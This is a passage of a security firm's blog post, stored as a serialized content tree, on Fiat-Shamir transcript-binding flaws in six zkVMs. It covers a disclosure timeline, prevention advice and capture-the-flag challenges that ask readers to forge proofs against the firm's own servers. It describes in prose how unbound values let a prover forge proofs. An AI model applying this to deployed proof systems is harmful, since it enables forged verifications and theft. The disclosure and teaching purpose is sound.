22872,"children":122874},{"className":122873,"style":114652},[4822,22381,4870],[122875],{"type":27,"value":9467},{"type":21,"tag":198,"props":122877,"children":122879},{"className":122878},[22538],[122880],{"type":27,"value":22541},{"type":21,"tag":198,"props":122882,"children":122884},{"className":122883},[4847],[122885],{"type":21,"tag":198,"props":122886,"children":122888},{"className":122887,"style":119339},[4852],[122889],{"type":21,"tag":198,"props":122890,"children":122891},{},[],{"type":21,"tag":198,"props":122893,"children":122895},{"className":122894},[22532],[122896],{"type":27,"value":2109},{"type":21,"tag":198,"props":122898,"children":122900},{"className":122899,"style":4902},[4901],[],{"type":21,"tag":198,"props":122902,"children":122904},{"className":122903},[4907],[122905],{"type":27,"value":111691},{"type":21,"tag":198,"props":122907,"children":122909},{"className":122908,"style":4902},[4901],[],{"type":21,"tag":198,"props":122911,"children":122913},{"className":122912},[4811],[122914,122918,122927,122932,122937,122942,122946,122956,122961,122970,122975,122984],{"type":21,"tag":198,"props":122915,"children":122917},{"className":122916,"style":93371},[4816],[],{"type":21,"tag":198,"props":122919,"children":122921},{"className":122920},[4822,27],[122922],{"type":21,"tag":198,"props":122923,"children":122925},{"className":122924},[4822],[122926],{"type":27,"value":113018},{"type":21,"tag":198,"props":122928,"children":122930},{"className":122929},[22510],[122931],{"type":27,"value":706},{"type":21,"tag":198,"props":122933,"children":122935},{"className":122934,"style":122709},[4822,22381],[122936],{"type":27,"value":2692},{"type":21,"tag":198,"props":122938,"children":122940},{"className":122939},[4933],[122941],{"type":27,"value":2205},{"type":21,"tag":198,"props":122943,"children":122945},{"className":122944,"style":4939},[4901],[],{"type":21,"tag":198,"props":122947,"children":122949},{"className":122948},[4822,27],[122950],{"type":21,"tag":198,"props":122951,"children":122953},{"className":122952},[4822],[122954],{"type":27,"value":122955},"inout",{"type":21,"tag":198,"props":122957,"children":122959},{"className":122958,"style":93429},[4822],[122960],{"type":27,"value":3891},{"type":21,"tag":198,"props":122962,"children":122964},{"className":122963},[4822,27],[122965],{"type":21,"tag":198,"props":122966,"children":122968},{"className":122967},[4822],[122969],{"type":27,"value":1397},{"type":21,"tag":198,"props":122971,"children":122973},{"className":122972,"style":93429},[4822],[122974],{"type":27,"value":3891},{"type":21,"tag":198,"props":122976,"children":122978},{"className":122977},[4822,27],[122979],{"type":21,"tag":198,"props":122980,"children":122982},{"className":122981},[4822],[122983],{"type":27,"value":118214},{"type":21,"tag":198,"props":122985,"children":122987},{"className":122986},[22532],[122988],{"type":27,"value":2109},{"type":21,"tag":30,"props":122990,"children":122991},{},[122992,122994,122999,123001,123074],{"type":27,"value":122993},"With challenges fixed (independent of ",{"type":21,"tag":194,"props":122995,"children":122997},{"className":122996},[],[122998],{"type":27,"value":62053},{"type":27,"value":123000},"), an attacker can find an alternate witness ",{"type":21,"tag":194,"props":123002,"children":123004},{"className":123003},[4794,4795],[123005],{"type":21,"tag":198,"props":123006,"children":123008},{"className":123007},[4800],[123009],{"type":21,"tag":198,"props":123010,"children":123012},{"className":123011,"ariaHidden":4806},[4805],[123013],{"type":21,"tag":198,"props":123014,"children":123016},{"className":123015},[4811],[123017,123022],{"type":21,"tag":198,"props":123018,"children":123021},{"className":123019,"style":123020},[4816],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":123023,"children":123025},{"className":123024},[4822],[123026,123035],{"type":21,"tag":198,"props":123027,"children":123029},{"className":123028},[4822,27],[123030],{"type":21,"tag":198,"props":123031,"children":123033},{"className":123032},[4822],[123034],{"type":27,"value":62053},{"type":21,"tag":198,"props":123036,"children":123038},{"className":123037},[4837],[123039],{"type":21,"tag":198,"props":123040,"children":123042},{"className":123041},[4842],[123043],{"type":21,"tag":198,"props":123044,"children":123046},{"className":123045},[4847],[123047],{"type":21,"tag":198,"props":123048,"children":123051},{"className":123049,"style":123050},[4852],"height:0.8362em;",[123052],{"type":21,"tag":198,"props":123053,"children":123055},{"style":123054},"top:-3.1473em;margin-right:0.05em;",[123056,123060],{"type":21,"tag":198,"props":123057,"children":123059},{"className":123058,"style":4862},[4861],[],{"type":21,"tag":198,"props":123061,"children":123063},{"className":123062},[4867,4868,4869,4870],[123064],{"type":21,"tag":198,"props":123065,"children":123067},{"className":123066},[4822,4870],[123068],{"type":21,"tag":198,"props":123069,"children":123071},{"className":123070},[4822,4870],[123072],{"type":27,"value":123073},"′",{"type":27,"value":123075}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":21,"tag":30,"props":123077,"children":123078},{},[123079,123083,123085],{"type":21,"tag":6137,"props":123080,"children":123081},{},[123082],{"type":27,"value":117139},{"type":27,"value":123084}," Fixed on December 29, 2025 via ",{"type":21,"tag":34,"props":123086,"children":123089},{"href":123087,"rel":123088},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[38],[123090],{"type":27,"value":123091},"commit 86a515f",{"type":21,"tag":19590,"props":123093,"children":123094},{},[],{"type":21,"tag":22,"props":123096,"children":123098},{"id":123097},"why-does-this-keep-happening",[123099],{"type":27,"value":123100},"Why Does This Keep Happening?",{"type":21,"tag":30,"props":123102,"children":123103},{},[123104],{"type":27,"value":123105},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":21,"tag":59,"props":123107,"children":123109},{"id":123108},"academic-papers-dont-specify-fiat-shamir",[123110],{"type":27,"value":123111},"Academic Papers Don't Specify Fiat-Shamir",{"type":21,"tag":30,"props":123113,"children":123114},{},[123115,123117,123122,123124,123149,123151,123154,123156,123181,123183,123210],{"type":27,"value":123116},"Academic papers usually describe ",{"type":21,"tag":1671,"props":123118,"children":123119},{},[123120],{"type":27,"value":123121},"interactive",{"type":27,"value":123123}," protocols: \"Prover sends ",{"type":21,"tag":194,"props":123125,"children":123127},{"className":123126},[4794,4795],[123128],{"type":21,"tag":198,"props":123129,"children":123131},{"className":123130},[4800],[123132],{"type":21,"tag":198,"props":123133,"children":123135},{"className":123134,"ariaHidden":4806},[4805],[123136],{"type":21,"tag":198,"props":123137,"children":123139},{"className":123138},[4811],[123140,123144],{"type":21,"tag":198,"props":123141,"children":123143},{"className":123142,"style":22376},[4816],[],{"type":21,"tag":198,"props":123145,"children":123147},{"className":123146,"style":22913},[4822,22381],[123148],{"type":27,"value":116658},{"type":27,"value":123150},". Verifier sends",{"type":21,"tag":31768,"props":123152,"children":123153},{},[],{"type":27,"value":123155},"random ",{"type":21,"tag":194,"props":123157,"children":123159},{"className":123158},[4794,4795],[123160],{"type":21,"tag":198,"props":123161,"children":123163},{"className":123162},[4800],[123164],{"type":21,"tag":198,"props":123165,"children":123167},{"className":123166,"ariaHidden":4806},[4805],[123168],{"type":21,"tag":198,"props":123169,"children":123171},{"className":123170},[4811],[123172,123176],{"type":21,"tag":198,"props":123173,"children":123175},{"className":123174,"style":111270},[4816],[],{"type":21,"tag":198,"props":123177,"children":123179},{"className":123178,"style":93429},[4822,22381],[123180],{"type":27,"value":94248},{"type":27,"value":123182},". Prover sends ",{"type":21,"tag":194,"props":123184,"children":123186},{"className":123185},[4794,4795],[123187],{"type":21,"tag":198,"props":123188,"children":123190},{"className":123189},[4800],[123191],{"type":21,"tag":198,"props":123192,"children":123194},{"className":123193,"ariaHidden":4806},[4805],[123195],{"type":21,"tag":198,"props":123196,"children":123198},{"className":123197},[4811],[123199,123203],{"type":21,"tag":198,"props":123200,"children":123202},{"className":123201,"style":22376},[4816],[],{"type":21,"tag":198,"props":123204,"children":123207},{"className":123205,"style":123206},[4822,22381],"margin-right:0.00773em;",[123208],{"type":27,"value":123209},"R",{"type":27,"value":123211},".\"",{"type":21,"tag":30,"props":123213,"children":123214},{},[123215,123217,123242,123244,123269],{"type":27,"value":123216},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":21,"tag":194,"props":123218,"children":123220},{"className":123219},[4794,4795],[123221],{"type":21,"tag":198,"props":123222,"children":123224},{"className":123223},[4800],[123225],{"type":21,"tag":198,"props":123226,"children":123228},{"className":123227,"ariaHidden":4806},[4805],[123229],{"type":21,"tag":198,"props":123230,"children":123232},{"className":123231},[4811],[123233,123237],{"type":21,"tag":198,"props":123234,"children":123236},{"className":123235,"style":22376},[4816],[],{"type":21,"tag":198,"props":123238,"children":123240},{"className":123239,"style":22913},[4822,22381],[123241],{"type":27,"value":116658},{"type":27,"value":123243}," before sampling ",{"type":21,"tag":194,"props":123245,"children":123247},{"className":123246},[4794,4795],[123248],{"type":21,"tag":198,"props":123249,"children":123251},{"className":123250},[4800],[123252],{"type":21,"tag":198,"props":123253,"children":123255},{"className":123254,"ariaHidden":4806},[4805],[123256],{"type":21,"tag":198,"props":123257,"children":123259},{"className":123258},[4811],[123260,123264],{"type":21,"tag":198,"props":123261,"children":123263},{"className":123262,"style":111270},[4816],[],{"type":21,"tag":198,"props":123265,"children":123267},{"className":123266,"style":93429},[4822,22381],[123268],{"type":27,"value":94248},{"type":27,"value":123270},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":21,"tag":30,"props":123272,"children":123273},{},[123274],{"type":27,"value":123275},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":21,"tag":59,"props":123277,"children":123279},{"id":123278},"the-hot-potato-problem",[123280],{"type":27,"value":123281},"The Hot Potato Problem",{"type":21,"tag":30,"props":123283,"children":123284},{},[123285],{"type":27,"value":123286},"Modern zkVMs are modular:",{"type":21,"tag":30,"props":123288,"children":123289},{},[123290],{"type":21,"tag":1376,"props":123291,"children":123294},{"alt":123292,"src":123293},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":21,"tag":30,"props":123296,"children":123297},{},[123298],{"type":27,"value":123299},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":21,"tag":59,"props":123301,"children":123303},{"id":123302},"optimization-pressure",[123304],{"type":27,"value":123305},"Optimization Pressure",{"type":21,"tag":30,"props":123307,"children":123308},{},[123309],{"type":27,"value":123310},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":21,"tag":30,"props":123312,"children":123313},{},[123314],{"type":27,"value":123315},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":21,"tag":59,"props":123317,"children":123319},{"id":123318},"testing-doesnt-catch-adversarial-inputs",[123320],{"type":27,"value":123321},"Testing Doesn't Catch Adversarial Inputs",{"type":21,"tag":30,"props":123323,"children":123324},{},[123325],{"type":27,"value":123326},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":21,"tag":19590,"props":123328,"children":123329},{},[],{"type":21,"tag":22,"props":123331,"children":123333},{"id":123332},"how-to-find-and-fix-these-bugs",[123334],{"type":27,"value":123335},"How to Find and Fix These Bugs",{"type":21,"tag":59,"props":123337,"children":123339},{"id":123338},"prevention",[123340],{"type":27,"value":123341},"Prevention",{"type":21,"tag":30,"props":123343,"children":123344},{},[123345],{"type":27,"value":123346},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":21,"tag":30,"props":123348,"children":123349},{},[123350],{"type":27,"value":123351},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":21,"tag":30,"props":123353,"children":123354},{},[123355],{"type":27,"value":123356},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":21,"tag":30,"props":123358,"children":123359},{},[123360],{"type":27,"value":123361},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":21,"tag":30,"props":123363,"children":123364},{},[123365],{"type":27,"value":123366},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":21,"tag":19590,"props":123368,"children":123369},{},[],{"type":21,"tag":22,"props":123371,"children":123373},{"id":123372},"responsible-disclosure-timeline",[123374],{"type":27,"value":123375},"Responsible Disclosure Timeline",{"type":21,"tag":56121,"props":123377,"children":123378},{},[123379,123407],{"type":21,"tag":123380,"props":123381,"children":123382},"thead",{},[123383],{"type":21,"tag":123384,"props":123385,"children":123386},"tr",{},[123387,123392,123397,123402],{"type":21,"tag":123388,"props":123389,"children":123390},"th",{},[123391],{"type":27,"value":24001},{"type":21,"tag":123388,"props":123393,"children":123394},{},[123395],{"type":27,"value":123396},"Reported",{"type":21,"tag":123388,"props":123398,"children":123399},{},[123400],{"type":27,"value":123401},"Fixed",{"type":21,"tag":123388,"props":123403,"children":123404},{},[123405],{"type":27,"value":123406},"Response Time",{"type":21,"tag":123408,"props":123409,"children":123410},"tbody",{},[123411,123434,123455,123475,123497,123518],{"type":21,"tag":123384,"props":123412,"children":123413},{},[123414,123419,123424,123429],{"type":21,"tag":123415,"props":123416,"children":123417},"td",{},[123418],{"type":27,"value":108242},{"type":21,"tag":123415,"props":123420,"children":123421},{},[123422],{"type":27,"value":123423},"Sep 2025",{"type":21,"tag":123415,"props":123425,"children":123426},{},[123427],{"type":27,"value":123428},"Oct 3, 2025",{"type":21,"tag":123415,"props":123430,"children":123431},{},[123432],{"type":27,"value":123433},"\u003C1 week",{"type":21,"tag":123384,"props":123435,"children":123436},{},[123437,123441,123446,123451],{"type":21,"tag":123415,"props":123438,"children":123439},{},[123440],{"type":27,"value":108248},{"type":21,"tag":123415,"props":123442,"children":123443},{},[123444],{"type":27,"value":123445},"Oct 2025",{"type":21,"tag":123415,"props":123447,"children":123448},{},[123449],{"type":27,"value":123450},"Oct 24, 2025",{"type":21,"tag":123415,"props":123452,"children":123453},{},[123454],{"type":27,"value":123433},{"type":21,"tag":123384,"props":123456,"children":123457},{},[123458,123462,123466,123471],{"type":21,"tag":123415,"props":123459,"children":123460},{},[123461],{"type":27,"value":108254},{"type":21,"tag":123415,"props":123463,"children":123464},{},[123465],{"type":27,"value":123445},{"type":21,"tag":123415,"props":123467,"children":123468},{},[123469],{"type":27,"value":123470},"Oct 31, 2025",{"type":21,"tag":123415,"props":123472,"children":123473},{},[123474],{"type":27,"value":123433},{"type":21,"tag":123384,"props":123476,"children":123477},{},[123478,123482,123487,123492],{"type":21,"tag":123415,"props":123479,"children":123480},{},[123481],{"type":27,"value":108260},{"type":21,"tag":123415,"props":123483,"children":123484},{},[123485],{"type":27,"value":123486},"Nov 2025",{"type":21,"tag":123415,"props":123488,"children":123489},{},[123490],{"type":27,"value":123491},"Mar 5, 2026",{"type":21,"tag":123415,"props":123493,"children":123494},{},[123495],{"type":27,"value":123496},"~4 months",{"type":21,"tag":123384,"props":123498,"children":123499},{},[123500,123504,123509,123514],{"type":21,"tag":123415,"props":123501,"children":123502},{},[123503],{"type":27,"value":108272},{"type":21,"tag":123415,"props":123505,"children":123506},{},[123507],{"type":27,"value":123508},"Dec 2025",{"type":21,"tag":123415,"props":123510,"children":123511},{},[123512],{"type":27,"value":123513},"Dec 29, 2025",{"type":21,"tag":123415,"props":123515,"children":123516},{},[123517],{"type":27,"value":123433},{"type":21,"tag":123384,"props":123519,"children":123520},{},[123521,123525,123529,123534],{"type":21,"tag":123415,"props":123522,"children":123523},{},[123524],{"type":27,"value":108266},{"type":21,"tag":123415,"props":123526,"children":123527},{},[123528],{"type":27,"value":123486},{"type":21,"tag":123415,"props":123530,"children":123531},{},[123532],{"type":27,"value":123533},"Jan 21, 2026?",{"type":21,"tag":123415,"props":123535,"children":123536},{},[123537],{"type":27,"value":123538},"3 months",{"type":21,"tag":30,"props":123540,"children":123541},{},[123542],{"type":27,"value":123543},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":21,"tag":19590,"props":123545,"children":123546},{},[],{"type":21,"tag":22,"props":123548,"children":123550},{"id":123549},"challenges",[123551],{"type":27,"value":108285},{"type":21,"tag":30,"props":123553,"children":123554},{},[123555,123557],{"type":27,"value":123556},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":21,"tag":123558,"props":123559,"children":123560},"del",{},[123561],{"type":27,"value":123562},"the first 10 solvers will get a T-shirt.",{"type":21,"tag":30,"props":123564,"children":123565},{},[123566,123568,123621,123622,123878],{"type":27,"value":123567},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":21,"tag":194,"props":123569,"children":123571},{"className":123570},[4794,4795],[123572],{"type":21,"tag":198,"props":123573,"children":123575},{"className":123574},[4800],[123576],{"type":21,"tag":198,"props":123577,"children":123579},{"className":123578,"ariaHidden":4806},[4805],[123580],{"type":21,"tag":198,"props":123581,"children":123583},{"className":123582},[4811],[123584,123588,123593,123598,123602,123607,123612,123616],{"type":21,"tag":198,"props":123585,"children":123587},{"className":123586,"style":115484},[4816],[],{"type":21,"tag":198,"props":123589,"children":123591},{"className":123590},[4822,22381],[123592],{"type":27,"value":34},{"type":21,"tag":198,"props":123594,"children":123596},{"className":123595},[4933],[123597],{"type":27,"value":2205},{"type":21,"tag":198,"props":123599,"children":123601},{"className":123600,"style":4939},[4901],[],{"type":21,"tag":198,"props":123603,"children":123605},{"className":123604},[4822,22381],[123606],{"type":27,"value":4029},{"type":21,"tag":198,"props":123608,"children":123610},{"className":123609},[4933],[123611],{"type":27,"value":2205},{"type":21,"tag":198,"props":123613,"children":123615},{"className":123614,"style":4939},[4901],[],{"type":21,"tag":198,"props":123617,"children":123619},{"className":123618},[4822,22381],[123620],{"type":27,"value":3954},{"type":27,"value":110085},{"type":21,"tag":194,"props":123623,"children":123625},{"className":123624},[4794,4795],[123626],{"type":21,"tag":198,"props":123627,"children":123629},{"className":123628},[4800],[123630],{"type":21,"tag":198,"props":123631,"children":123633},{"className":123632,"ariaHidden":4806},[4805],[123634,123697,123759,123865],{"type":21,"tag":198,"props":123635,"children":123637},{"className":123636},[4811],[123638,123643,123684,123688,123693],{"type":21,"tag":198,"props":123639,"children":123642},{"className":123640,"style":123641},[4816],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":21,"tag":198,"props":123644,"children":123646},{"className":123645},[4822],[123647,123652],{"type":21,"tag":198,"props":123648,"children":123650},{"className":123649},[4822,22381],[123651],{"type":27,"value":34},{"type":21,"tag":198,"props":123653,"children":123655},{"className":123654},[4837],[123656],{"type":21,"tag":198,"props":123657,"children":123659},{"className":123658},[4842],[123660],{"type":21,"tag":198,"props":123661,"children":123663},{"className":123662},[4847],[123664],{"type":21,"tag":198,"props":123665,"children":123667},{"className":123666,"style":4817},[4852],[123668],{"type":21,"tag":198,"props":123669,"children":123670},{"style":4856},[123671,123675],{"type":21,"tag":198,"props":123672,"children":123674},{"className":123673,"style":4862},[4861],[],{"type":21,"tag":198,"props":123676,"children":123678},{"className":123677},[4867,4868,4869,4870],[123679],{"type":21,"tag":198,"props":123680,"children":123682},{"className":123681},[4822,4870],[123683],{"type":27,"value":18097},{"type":21,"tag":198,"props":123685,"children":123687},{"className":123686,"style":4902},[4901],[],{"type":21,"tag":198,"props":123689,"children":123691},{"className":123690},[4907],[123692],{"type":27,"value":5193},{"type":21,"tag":198,"props":123694,"children":123696},{"className":123695,"style":4902},[4901],[],{"type":21,"tag":198,"props":123698,"children":123700},{"className":123699},[4811],[123701,123705,123746,123750,123755],{"type":21,"tag":198,"props":123702,"children":123704},{"className":123703,"style":4817},[4816],[],{"type":21,"tag":198,"props":123706,"children":123708},{"className":123707},[4822],[123709,123714],{"type":21,"tag":198,"props":123710,"children":123712},{"className":123711},[4822,22381],[123713],{"type":27,"value":4029},{"type":21,"tag":198,"props":123715,"children":123717},{"className":123716},[4837],[123718],{"type":21,"tag":198,"props":123719,"children":123721},{"className":123720},[4842],[123722],{"type":21,"tag":198,"props":123723,"children":123725},{"className":123724},[4847],[123726],{"type":21,"tag":198,"props":123727,"children":123729},{"className":123728,"style":4817},[4852],[123730],{"type":21,"tag":198,"props":123731,"children":123732},{"style":4856},[123733,123737],{"type":21,"tag":198,"props":123734,"children":123736},{"className":123735,"style":4862},[4861],[],{"type":21,"tag":198,"props":123738,"children":123740},{"className":123739},[4867,4868,4869,4870],[123741],{"type":21,"tag":198,"props":123742,"children":123744},{"className":123743},[4822,4870],[123745],{"type":27,"value":18097},{"type":21,"tag":198,"props":123747,"children":123749},{"className":123748,"style":4998},[4901],[],{"type":21,"tag":198,"props":123751,"children":123753},{"className":123752},[5003],[123754],{"type":27,"value":3174},{"type":21,"tag":198,"props":123756,"children":123758},{"className":123757,"style":4998},[4901],[],{"type":21,"tag":198,"props":123760,"children":123762},{"className":123761},[4811],[123763,123768,123809,123814,123818,123823,123828,123832,123837,123842,123846,123851,123855,123861],{"type":21,"tag":198,"props":123764,"children":123767},{"className":123765,"style":123766},[4816],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":123769,"children":123771},{"className":123770},[4822],[123772,123777],{"type":21,"tag":198,"props":123773,"children":123775},{"className":123774},[4822,22381],[123776],{"type":27,"value":3954},{"type":21,"tag":198,"props":123778,"children":123780},{"className":123779},[4837],[123781],{"type":21,"tag":198,"props":123782,"children":123784},{"className":123783},[4842],[123785],{"type":21,"tag":198,"props":123786,"children":123788},{"className":123787},[4847],[123789],{"type":21,"tag":198,"props":123790,"children":123792},{"className":123791,"style":4817},[4852],[123793],{"type":21,"tag":198,"props":123794,"children":123795},{"style":4856},[123796,123800],{"type":21,"tag":198,"props":123797,"children":123799},{"className":123798,"style":4862},[4861],[],{"type":21,"tag":198,"props":123801,"children":123803},{"className":123802},[4867,4868,4869,4870],[123804],{"type":21,"tag":198,"props":123805,"children":123807},{"className":123806},[4822,4870],[123808],{"type":27,"value":18097},{"type":21,"tag":198,"props":123810,"children":123812},{"className":123811},[4933],[123813],{"type":27,"value":2205},{"type":21,"tag":198,"props":123815,"children":123817},{"className":123816,"style":4939},[4901],[],{"type":21,"tag":198,"props":123819,"children":123821},{"className":123820},[4822,22381],[123822],{"type":27,"value":34},{"type":21,"tag":198,"props":123824,"children":123826},{"className":123825},[4933],[123827],{"type":27,"value":2205},{"type":21,"tag":198,"props":123829,"children":123831},{"className":123830,"style":4939},[4901],[],{"type":21,"tag":198,"props":123833,"children":123835},{"className":123834},[4822,22381],[123836],{"type":27,"value":4029},{"type":21,"tag":198,"props":123838,"children":123840},{"className":123839},[4933],[123841],{"type":27,"value":2205},{"type":21,"tag":198,"props":123843,"children":123845},{"className":123844,"style":4939},[4901],[],{"type":21,"tag":198,"props":123847,"children":123849},{"className":123848},[4822,22381],[123850],{"type":27,"value":3954},{"type":21,"tag":198,"props":123852,"children":123854},{"className":123853,"style":4998},[4901],[],{"type":21,"tag":198,"props":123856,"children":123858},{"className":123857},[5003],[123859],{"type":27,"value":123860},"≥",{"type":21,"tag":198,"props":123862,"children":123864},{"className":123863,"style":4998},[4901],[],{"type":21,"tag":198,"props":123866,"children":123868},{"className":123867},[4811],[123869,123873],{"type":21,"tag":198,"props":123870,"children":123872},{"className":123871,"style":94460},[4816],[],{"type":21,"tag":198,"props":123874,"children":123876},{"className":123875},[4822],[123877],{"type":27,"value":134},{"type":27,"value":123879},". Good luck!",{"type":21,"tag":59,"props":123881,"children":123883},{"id":123882},"jolt",[123884],{"type":27,"value":108242},{"type":21,"tag":30,"props":123886,"children":123887},{},[123888,123890,123901,123903],{"type":27,"value":123889},"See ",{"type":21,"tag":34,"props":123891,"children":123898},{"href":123892,"target":123893,"rel":123894,"download":123897},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[123895,123896],"noopener","noreferrer","handout_jolt.tar.gz",[123899],{"type":27,"value":123900},"the handout",{"type":27,"value":123902}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":21,"tag":194,"props":123904,"children":123906},{"className":123905},[],[123907],{"type":27,"value":123908},"jolt.chal.osec.io:8960",{"type":21,"tag":59,"props":123910,"children":123912},{"id":123911},"nexus-1",[123913],{"type":27,"value":108248},{"type":21,"tag":30,"props":123915,"children":123916},{},[123917,123918,123925,123926],{"type":27,"value":123889},{"type":21,"tag":34,"props":123919,"children":123923},{"href":123920,"target":123893,"rel":123921,"download":123922},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[123895,123896],"handout_nexus.tar.gz",[123924],{"type":27,"value":123900},{"type":27,"value":123902},{"type":21,"tag":194,"props":123927,"children":123929},{"className":123928},[],[123930],{"type":27,"value":123931},"nexus.chal.osec.io:8950",{"type":21,"tag":30,"props":123933,"children":123934},{},[123935],{"type":27,"value":123936},"Now you should have enough margin to prove Fermat wrong.",{"type":21,"tag":19590,"props":123938,"children":123939},{},[],{"type":21,"tag":22,"props":123941,"children":123943},{"id":123942},"takeaways",[123944],{"type":27,"value":123945},"Takeaways",{"type":21,"tag":30,"props":123947,"children":123948},{},[123949],{"type":27,"value":123950},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":21,"tag":30,"props":123952,"children":123953},{},[123954],{"type":27,"value":123955},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":21,"tag":30,"props":123957,"children":123958},{},[123959,123964],{"type":21,"tag":6137,"props":123960,"children":123961},{},[123962],{"type":27,"value":123963},"For the ZK ecosystem:",{"type":27,"value":123965}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":21,"tag":30,"props":123967,"children":123968},{},[123969],{"type":27,"value":123970},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":21,"tag":30,"props":123972,"children":123973},{},[123974,123979],{"type":21,"tag":6137,"props":123975,"children":123976},{},[123977],{"type":27,"value":123978},"For auditors:",{"type":27,"value":123980}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":21,"tag":30,"props":123982,"children":123983},{},[123984,123989],{"type":21,"tag":6137,"props":123985,"children":123986},{},[123987],{"type":27,"value":123988},"For builders:",{"type":27,"value":123990}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":21,"tag":3645,"props":123992,"children":123993},{},[123994],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":123996},[123997,123998,124001,124007,124008,124016,124022,124025,124026,124030],{"id":108293,"depth":217,"text":108296},{"id":108435,"depth":217,"text":108438,"children":123999},[124000],{"id":108441,"depth":236,"text":108444},{"id":108870,"depth":217,"text":108873,"children":124002},[124003,124004,124005,124006],{"id":108881,"depth":236,"text":108884},{"id":109069,"depth":236,"text":109072},{"id":112450,"depth":236,"text":112453},{"id":113664,"depth":236,"text":113667},{"id":115301,"depth":217,"text":115304},{"id":115807,"depth":217,"text":115810,"children":124009},[124010,124011,124012,124013,124014,124015],{"id":115829,"depth":236,"text":115832},{"id":117154,"depth":236,"text":108248},{"id":118290,"depth":236,"text":118293},{"id":118958,"depth":236,"text":118961},{"id":121614,"depth":236,"text":121617},{"id":122168,"depth":236,"text":108272},{"id":123097,"depth":217,"text":123100,"children":124017},[124018,124019,124020,124021],{"id":123108,"depth":236,"text":123111},{"id":123278,"depth":236,"text":123281},{"id":123302,"depth":236,"text":123305},{"id":123318,"depth":236,"text":123321},{"id":123332,"depth":217,"text":123335,"children":124023},[124024],{"id":123338,"depth":236,"text":123341},{"id":123372,"depth":217,"text":123375},{"id":123549,"depth":217,"text":108285,"children":124027},[124028,124029],{"id":123882,"depth":236,"text":108242},{"id":123911,"depth":236,"text":108248},{"id":123942,"depth":217,"text":123945},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":124035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":124036,"description":124037,"date":124038,"author":124039,"image":124040,"isFeatured":16,"onBlogPage":16,"tags":124042,"body":124045,"_type":3671,"_id":132331,"_source":3673,"_file":132332,"_stem":132333,"_extension":3676},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray 